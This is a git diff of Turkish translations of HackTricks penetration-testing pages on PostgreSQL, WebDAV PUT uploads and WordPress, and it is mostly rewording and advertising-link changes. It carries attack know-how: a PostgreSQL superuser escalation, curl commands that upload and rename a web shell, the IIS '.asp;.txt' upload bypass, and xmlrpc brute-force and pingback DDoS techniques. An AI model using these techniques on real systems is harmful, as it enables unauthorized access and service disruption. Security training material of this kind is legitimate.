olabilirsiniz**. -Bu tekniğe ilişkin daha fazla bilgiye [**buradan**](https://adeadfed.com/posts/updating-postgresql-data-without-update/) ulaşabilirsiniz. +Bu tekniğe daha fazla bilgi için [**buraya**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)** bakın.** Saldırı adımları şunlardır: @@ -710,8 +726,8 @@ Saldırı adımları şunlardır: 2. `pg_authid` tablosu ile ilişkilendirilmiş dosya düğümüne göre göreceli bir yol elde et 3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indir 4. `pg_authid` tablosu ile ilişkilendirilmiş veri türünü al -5. [PostgreSQL Dosya Düğümü Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak dosya düğümünü [düzenle](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarla -6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla tekrar yükle ve diskteki orijinal dosyayı üzerine yaz +5. [PostgreSQL Dosya Düğümü Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak [dosya düğümünü düzenle](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); tüm `rol*` boolean bayraklarını 1 olarak ayarla ve tam izinler ver. +6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla yeniden yükle ve diskteki orijinal dosyayı üzerine yaz 7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusunu çalıştırarak bellek içi tablo önbelleğini temizle 8. Artık tam bir süper yönetici ayrıcalıklarına sahip olmalısınız. @@ -725,7 +741,7 @@ msf> use exploit/windows/postgres/postgres_payload ``` ### günlüğe kaydetme -_**postgresql.conf**_ dosyası içinde postgresql günlüklerini etkinleştirebilirsiniz değiştirerek: +_**postgresql.conf**_ dosyası içinde postgresql günlüklerini etkinleştirebilirsiniz, değiştirerek: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' @@ -740,7 +756,7 @@ Sonra, **hizmeti yeniden başlatın**. [pgadmin](https://www.pgadmin.org), PostgreSQL için bir yönetim ve geliştirme platformudur.\ Parolaları _**pgadmin4.db**_ dosyasının içinde bulabilirsiniz.\ -Onları şu betik içindeki _**decrypt**_ fonksiyonunu kullanarak şifreleyebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) +Onları şu betik içindeki _**decrypt**_ işlevini kullanarak şifreleyebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" @@ -749,20 +765,20 @@ string pgadmin4.db ``` ### pg\_hba -PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt bulunmazsa erişim reddedilir. +PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bir bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa erişim reddedilir. -pg\_hba.conf'daki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğine göre farklılık gösterir: MD5-hashed, crypt-encrypted veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz. +pg\_hba.conf'daki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashed, crypt-encrypted veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz.
Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -770,7 +786,7 @@ HackTricks'ı desteklemenin diğer yolları:
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ -Bugün Erişim Sağlayın: +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %} diff --git a/network-services-pentesting/pentesting-web/put-method-webdav.md b/network-services-pentesting/pentesting-web/put-method-webdav.md index ea17ef7e9..bf61ccdde 100644 --- a/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -3,32 +3,32 @@
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**WebDav** özellikli bir **HTTP Sunucusu** ile uğraşırken, genellikle **HTTP Temel Kimlik Doğrulaması** aracılığıyla doğrulanan **doğru kimlik bilgilerine** sahipseniz, dosyaları **manipüle etmek mümkündür**. Bu tür bir sunucu üzerinde kontrol sağlamak genellikle bir **webshell yükleyip çalıştırmayı** içerir. -WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir, bunları elde etmek için [**WebDav bruteforce**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) yaygın bir yöntemdir. +WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir, bunları elde etmek için [**WebDav brute force**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) yaygın bir yöntemdir. -Özellikle sunucu taraflı betiklerin çalışmasını engelleyen dosya yüklemelerindeki kısıtlamaları aşmak için şunları yapabilirsiniz: +Sunucu tarafı betiklerin çalışmasını engelleyen dosya yükleme kısıtlamalarını aşmak için şunları yapabilirsiniz: -* Eğer kısıtlanmamışsa, **yürütülebilir uzantılara sahip** dosyaları doğrudan **yükleyin**. +* Eğer kısıtlama yoksa, **yürütülebilir uzantılara sahip** dosyaları doğrudan **yükleyin**. * Yüklenen yürütülemez dosyaları (örneğin .txt) yürütülebilir bir uzantıya **yeniden adlandırın**. * Yüklenen yürütülemez dosyaları, uzantılarını yürütülebilir olan bir uzantıya **değiştirerek kopyalayın**. @@ -53,23 +53,23 @@ cadaver ``` curl -T 'shell.txt' 'http://$ip' ``` -## MOVE isteği +## TAŞIMA isteği ``` curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ```
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve kolayca çalıştırın.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} ## IIS5/6 WebDav Zafiyeti -Bu zafiyet çok ilginç. **WebDav**, dosyaların uzantısı **.asp** ile **yüklenmesine** veya **yeniden adlandırılmasına izin vermez**. Ancak dosya adının sonuna **";.txt"** ekleyerek bunu **atlayabilirsiniz** ve dosya .asp dosyasıymış gibi **çalıştırılacaktır** (ayrıca **".txt" yerine ".html"** de **kullanabilirsiniz** ancak **";"**'yi **unutmayın**). +Bu zafiyet çok ilginç. **WebDav**, dosyaların uzantısı **.asp** olan dosyaların **yüklenmesine** veya **yeniden adlandırılmasına izin vermez.** Ancak dosya adının sonuna **";.txt"** ekleyerek bunu **atlayabilirsiniz** ve dosya .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** kullanabilirsiniz ama **";"**'yi **unutmayın**). -Daha sonra kabuğunuzu ".**txt" dosyası** olarak **yükleyebilir** ve onu ".asp;.txt" dosyasına **kopyalayabilir/taşıyabilirsiniz**. Bu dosyaya web sunucusu üzerinden erişildiğinde **çalıştırılacaktır** (cadaver taşıma işleminin çalışmadığını söyleyecektir, ancak çalışmıştır). +Sonra kabuğunuzu ".**txt" dosyası** olarak **yükleyebilir** ve onu ".asp;.txt" dosyasına **kopyalayabilir/taşıyabilirsiniz**. Bu dosyaya web sunucusu üzerinden erişildiğinde **çalıştırılacaktır** (cadaver taşıma işleminin çalışmadığını söyleyecektir, ancak çalışmıştır). ![](<../../.gitbook/assets/image (1092).png>) @@ -89,11 +89,13 @@ AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` -Görüldüğü gibi, **webdav** sunucusu için geçerli olan **kimlik bilgileri** içeren dosyalar bulunmaktadır: +```html +

Webdav sunucusu için geçerli **kimlik bilgileri** içeren dosyaları görebilirsiniz:

+``` ``` /etc/apache2/users.password ``` -Dosyaların içinde **kullanıcı adı** ve şifrenin **hash**'i bulunmaktadır. Bu, webdav sunucusunun kullanıcıları doğrulamak için kullandığı kimlik bilgileridir. +Bu tür dosyaların içinde **kullanıcı adı** ve **şifrenin hash**'i bulunur. Bunlar, webdav sunucusunun kullanıcıları doğrulamak için kullandığı kimlik bilgileridir. Onları **kırmayı** deneyebilir veya bir nedenden dolayı **webdav** sunucusuna **erişmek** istiyorsanız **daha fazla ekleyebilirsiniz**: ```bash @@ -109,22 +111,22 @@ wget --user --ask-password http://domain/path/to/webdav/ -O - -q
-Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**]'i (https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **otomatikleştirmeleri** kolayca oluşturun.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} diff --git a/network-services-pentesting/pentesting-web/wordpress.md b/network-services-pentesting/pentesting-web/wordpress.md index 13a876701..c61e40003 100644 --- a/network-services-pentesting/pentesting-web/wordpress.md +++ b/network-services-pentesting/pentesting-web/wordpress.md @@ -6,26 +6,26 @@ HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.** +* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
\ -Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştirmenize** olanak tanıyan [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress)'i kullanın.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} ## Temel Bilgiler **Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ -**Temalar dosyaları /wp-content/themes/ içinde bulunabilir**, bu yüzden temanın bazı php'lerini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanırsınız. Örneğin: **twentytwelve temasını** kullanarak **404.php** dosyasına erişebilirsiniz: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ +**Temalar dosyaları /wp-content/themes/ içinde bulunabilir**, bu yüzden tema php'sini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve temasını** kullanarak **404.php** dosyasına erişebilirsiniz: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ **Başka faydalı bir url şu olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **wp-config.php** içinde veritabanının kök şifresini bulabilirsiniz. @@ -35,20 +35,20 @@ Kontrol edilmesi gereken varsayılan giriş yolları: _**/wp-login.php, /wp-logi ### **Ana WordPress Dosyaları** * `index.php` -* `license.txt` yüklü olan WordPress sürümü gibi yararlı bilgiler içerir. -* `wp-activate.php` yeni bir WordPress sitesi kurulurken e-posta aktivasyon işlemi için kullanılır. +* `license.txt` WordPress'in yüklü olduğu sürüm gibi yararlı bilgiler içerir. +* `wp-activate.php` yeni bir WordPress sitesi kurulurken e-posta etkinleştirme işlemi için kullanılır. * Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir): * `/wp-admin/login.php` * `/wp-admin/wp-login.php` * `/login.php` * `/wp-login.php` -* `xmlrpc.php` WordPress'in bir özelliğini temsil eden bir dosyadır ve HTTP'nin taşıma mekanizması olarak ve kodlama mekanizması olarak XML ile veri iletilmesini sağlar. Bu tür iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) tarafından değiştirilmiştir. +* `xmlrpc.php`, WordPress'in bir özelliğini temsil eden bir dosyadır ve HTTP'nin taşıma mekanizması olarak ve XML'in kodlama mekanizması olarak veri iletilmesini sağlar. Bu tür iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) tarafından değiştirilmiştir. * `wp-content` klasörü eklentilerin ve temaların depolandığı ana dizindir. * `wp-content/uploads/` Platforma yüklenen dosyaların depolandığı dizindir. * `wp-includes/` Bu, sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların depolandığı dizindir. -* `wp-sitemap.xml` Wordpress sürümleri 5.5 ve üstünde, Wordpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur. +* `wp-sitemap.xml` Wordpress'in 5.5 ve üstü sürümlerinde, Wordpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur. -**Sonrası Sömürü** +**Saldırı sonrası işlemler** * `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gereken bilgileri içerir; veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzları ve veritabanı tablo öneki. Bu yapılandırma dosyası ayrıca sorun gidermede kullanışlı olabilecek DEBUG modunu etkinleştirmek için de kullanılabilir. @@ -90,15 +90,17 @@ curl https://victim.com/ | grep 'content="WordPress' ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` +{% endcode %} + ### Temaları Al -{% endcode %} +{% code overflow="wrap" %} ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Genel olarak sürümleri çıkart -{% code overflow="wrap" %} +{% endcode %} ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -108,26 +110,26 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\ Bugün Erişim Edinin: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} ## Aktif numaralandırma ### Eklentiler ve Temalar -Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için bir Eklentiler ve Temalar listesini **etkin bir şekilde Brute Force** etmeniz gerekecek (şansımıza, bu listeleri içeren otomatik araçlar bulunmaktadır). +Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için **Eklentilerin ve Temaların listesini aktif olarak Brute Force etmeniz gerekecek** (şansımıza, bu listeleri içeren otomatik araçlar bulunmaktadır). ### Kullanıcılar -**Kimlik Brute** +**Kimlik Numarası Brute** -WordPress sitesinden geçerli kullanıcıları Kimlik Brute Force yöntemiyle elde edersiniz: +WordPress sitesinden geçerli kullanıcıları Kimlik Numaralarını Brute Force ederek elde edersiniz: ``` curl -s -I -X GET http://blog.example.com/?author=1 ``` -Eğer yanıtlar **200** veya **30X** ise, bu, id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, o zaman id **geçersiz** demektir. +Eğer yanıtlar **200** veya **30X** ise, bu demektir ki id **geçerlidir**. Eğer yanıt **400** ise, o zaman id **geçersizdir**. **wp-json** @@ -139,17 +141,17 @@ Başka bir `/wp-json/` uç noktası, kullanıcılar hakkında bazı bilgileri or ``` curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. **Yalnızca bu özelliğe sahip kullanıcılar hakkında bilgi sağlanacaktır**. +Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. **Yalnızca bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır**. Ayrıca **/wp-json/wp/v2/pages** IP adreslerini sızdırabilir. #### Kullanıcı adı girişi numaralandırması -**`/wp-login.php`**'de oturum açarken, belirtilen **kullanıcı adının var olup olmadığına bağlı olarak** **farklı bir mesaj** alırsınız. +**`/wp-login.php`**'de oturum açarken, belirtilen **kullanıcı adının var olup olmadığına bağlı olarak farklı bir** **mesaj** alırsınız. ### XML-RPC -`xml-rpc.php` etkinse kimlik bilgileri için kaba kuvvet saldırısı yapabilir veya başka kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi otomatikleştirebilirsiniz[şu bağlantıyı kullanarak](https://github.com/relarizky/wpxploit) örneğin). +`xml-rpc.php` etkinse kimlik bilgileri için kaba kuvvet saldırısı yapabilir veya başka kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi otomatikleştirebilirsiniz[ buna örnek olarak şunu kullanabilirsiniz](https://github.com/relarizky/wpxploit)). Etkin olup olmadığını görmek için _**/xmlrpc.php**_'ye erişmeyi deneyin ve bu isteği gönderin: @@ -174,7 +176,7 @@ Etkin olup olmadığını görmek için _**/xmlrpc.php**_'ye erişmeyi deneyin v ``` -200 kodlu yanıt içindeki _"Kullanıcı adı veya şifre yanlış"_ mesajı, kimlik bilgileri geçerli değilse görünmelidir. +200 kodlu yanıt içindeki _"Kullanıcı adı veya şifre yanlış"_ mesajı geçersiz kimlik bilgileri durumunda görünmelidir. ![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) @@ -210,7 +212,7 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol ``` -Ayrıca, **`system.multicall`** kullanarak aynı istekte birkaç kimlik bilgisini deneyebileceğiniz daha **hızlı bir yol** vardır: +Ayrıca, **`system.multicall`** kullanarak aynı istekte birkaç kimlik bilgisini deneyebileceğiniz için kimlik bilgilerini kaba kuvvetle çözmenin **daha hızlı bir yolu** vardır:
@@ -220,8 +222,8 @@ Bu yöntem programlar içindir ve insanlar için değil, eski olduğu için 2FA' **DDoS veya port taraması** -Eğer listede **_pingback.ping_** yöntemini bulabilirseniz, Wordpress'in herhangi bir ana makine/limana keyfi bir istek göndermesini sağlayabilirsiniz.\ -Bu, binlerce Wordpress sitesinden bir **lokasyona erişim** sağlamalarını istemek için kullanılabilir (bu lokasyonda bir **DDoS** oluşturulur) veya **Wordpress**'i bazı iç ağları **taramak** için kullanabilirsiniz (herhangi bir limanı belirtebilirsiniz). +Liste içinde _**pingback.ping**_ yöntemini bulabilirseniz, Wordpress'in herhangi bir ana makine/limana keyfi bir istek göndermesini sağlayabilirsiniz.\ +Bu, binlerce Wordpress sitesinin bir **yeri** erişmesini istemek için kullanılabilir (bu nedenle o konumda bir **DDoS** oluşturulur) veya bunu kullanarak **Wordpress**'in bazı dahili **ağları taramasını** sağlayabilirsiniz (herhangi bir limanı belirtebilirsiniz). ```markup pingback.ping @@ -231,11 +233,9 @@ Bu, binlerce Wordpress sitesinden bir **lokasyona erişim** sağlamalarını ist ``` -![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png) - Eğer bir değeri 0'dan büyük olan **faultCode** alırsanız (17), bu portun açık olduğu anlamına gelir. -Bu yöntemi kötüye kullanarak DDoS saldırısı yapmak için **`system.multicall`**'ın kullanımına önceki bölümde 